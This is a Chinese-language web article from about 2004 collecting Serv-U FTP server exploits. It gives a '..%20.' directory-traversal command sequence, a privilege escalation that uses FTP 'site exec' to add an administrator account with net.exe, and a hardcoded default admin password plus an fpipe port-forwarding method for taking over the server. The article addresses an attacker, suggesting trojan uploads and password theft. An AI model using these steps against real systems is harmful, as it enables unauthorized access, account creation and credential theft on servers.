Serv U漏洞全集1

1.V2.5

      Serv-U是一款很出色的FTP服务器软件,在网上有很广的应用,设置简单,小巧玲珑,很受用户喜爱。但是在2000年12月3日,由Zoa_Chien (zoachien securax.org)发现了Serv-U一个重大漏洞,这个漏洞使你的硬盘暴露在网络上。这个漏洞在2.5i以前版本中全部存在。下面,就让我们来看看这个漏洞的真面目。

  首先我们使用匿名进入一个使用Seru-U的2.5i以前版本FTP站点:
ftp>pwd
257 "/c:/ftproot" is current directory.
ftp>cd ..
550 /c:/: Permission denied.

  哦,没有权限进入上一级目录。

  ftp> ls ..
200 PORT Command successful.
550 Permission denied.

  也没有权限查看上一级目录。让我们换个方式:
ftp> ls ..%20./* (必须加上“/*”)

  看看发生什么了?上一级目录(C:\)的东西尽收眼底了!

  ftp> cd ..%20.
ftp> pwd
257 "/c:/ftproot/.." is current directory.

  当前目录变成了“c:\ftproot\..”,这不就是根目录吗?

来看看刚才敲了两个什么命令:“ls ..%20./*”和“cd ..%20./”。原来如此:“..%20.”在这里相当于“..”;而且,在Serv-U分析这个目录的时候,把“..”当作当前目录下的子目录,而不是直接进入上一级目录。所以C盘根目录,也就是“c:\ftproot\..”被当作“ftproot”里面的子目录来操作。如果在Serv-U的设置里面,“c:\ftproot”被当作用户的主目录,用户可以对它和其子目录进行读和写的操作,而本来用户被禁止操作的其他目录,就可以通过这种方式当作当前目录的子目录而继承其属性,用户也可以对它读和写了。假如当前在“\c:\ftproot\incoming\”目录,那么就可以用“..%20./ ..%20./windows”来表示“\c:\ftproot\test\..\..\windows”,即“c:\windows”目录,如果 “incoming”目录对用户完全开放,可以进行读、写、删除、列表、建目录,那么用户也就可以对“c:\windows”目录进行一些可怕的操作了。

  那好,再让我们进入有写和删除权限的“incoming”目录看看:

  我们在这里使用两个命令:“put 1.txt ..%20./..%20./windows/”和“put 1.txt ..%20./..%20./windows/2.txt”。我们可以发现,前者不能运行,但后者却可以,“dele”命令也成功了。

  实验证明“%20..%20%20..”、“..%20%20..”、“%20..%20.”都等效于“..”。

  如果Serv-U的管理员不清楚这个可怕的漏洞,将用户的主目录与系统放在同一个分区,那么黑客利用此漏洞便能抓取到系统的所有密码,如果用户的主目录与Serv-U的配置文件serv-u.ini在同一分区,那么黑客可以抓取serv-u.ini里的用户密码,如果某个用户拥有写和运行权限,那么黑客就可以放一个特洛依木马,并运行它,然后……

 
2.本地提升权限缺陷
      Serv-U FTP Server为RhinoSoft出品的一款Ftp Server软件,可运行在Microsoft Windows平台下。
ServUAdmin.exe是ftp server管理界面,由于ServUAdmin.exe对异常的不正确处理,导致在Serv-U被
注册为系统服务的情况下,本地普通用户进行权限提升,得到超级用户的权限。远程用普通用户权限,可
以通过3389登陆的也可以进行提升。

测试方法:

测试环境:
MICROSOFT WINDOWS 2000(SP4)+Serv-U FTP Server 4.0.0.4
MICROSOFT WINDOWS SERVER 2003, ENTERPRISE EDITION+Serv-U FTP Server 4.0.0.4

测试方法:
一、安装Serv-U
以普通用户登陆,权限不够,不能安装,重新以administrator登陆安装Serv-U(默认安装,此时Serv-U
的启动方式为自动启动,已经注册为系统服务),安装好之后,启动Serv-U,然后就注销administrator。

二、提升权限
用普通用户登陆,进入Serv-U FTP Server的安装目录,运行ServUAdmin.exe,新建域,而且添加用户,
新建用户ftpuser,把主目录设置为系统目录C:,此时用户ftpuser的权限为R----L--I,将用户权限设置为
系统管理员,甚至更高级别的,或者将用户对目录的访问权限设置为读写删除执行,跳出ServUAdmin.ini不能写入,ServUAdmin.exe同时以system权限对ServUAdmin.ini进行改写。这样ftpuser通过ftp就具有了对系统目录的读写删除执行的权限。这样就可以进行权限提升了,你可以传个木马上去,再运行,或者直接添加系统用户。

ftp>open ip  
Connected to ip.
220 Serv-U FTP Server v4.0 for WinSock ready...
User (ip:(none)): ftpuser //输入ftp用户
331 User name okay, please send complete E-mail address as password.
Password:password //密码
230 User logged in, proceed.
ftp> cd winnt   //进入win2k的winnt目录,如果是winxp或者是win 2003就应该为windows目录。
250 Directory changed to /WINNT
ftp>cd system32 //进入system32目录
250 Directory changed to /WINNT/system32
ftp>quote site exec net.exe user cc cc /add   //利用net命令添加用户。
200 EXEC command successful (TID=33).
ftp>quote site exec net.exe localhost administrators cc /add //提升为超级用户

漏洞分析
1、只能以administrator安装Serv-U,其配置文件ServUDaemon.ini和ServUAdmin.ini。ntfs格式默认情
况普通用户只具有读和运行的权限(默认情况下只有admin和system有写权限),无法通过对他们改写来
提升权限。
2、当Serv-U成为系统服务的时候,就具有了system的权限,ServUAdmin.exe虽然进行了权限验证,但由
于对异常处理不正确,对ServUAdmin.ini进行了写操作,从而导致了漏洞的产生。

注:
serv-u默认监听127.0.0.1:43958,所以只有在本机才能连接这个管理端口。
serv-u默认管理账号是LocalAdministrator,默认密码是"#l@$ak#.lk;0@P",这个密码在同一个
版本中是固定的,也许在不同的版本中也是固定的。
假如目标机器IP是192.168.0.1,假如你已经有了一个目标机器的普通权限的SHELL,那么你
在目标机器上运行fpipe -v -l 12345 -r 43958 127.0.0.1,然后在你自己的机器,用"serv-u
admin"新建SERVER,
192.168.0.1:12345
User:LocalAdministrator
Pass:"#l@$ak#.lk;0@P"
,那么目标机器的serv-u就归你管了。
(不需要能终端或物理控制台登录,只要有个shell,能运行端口数据转发的程序就可以了)


作者:upsdn   更新日期:2004-12-23
来源:Internet   浏览次数:

相关文章

相关评论   发表评论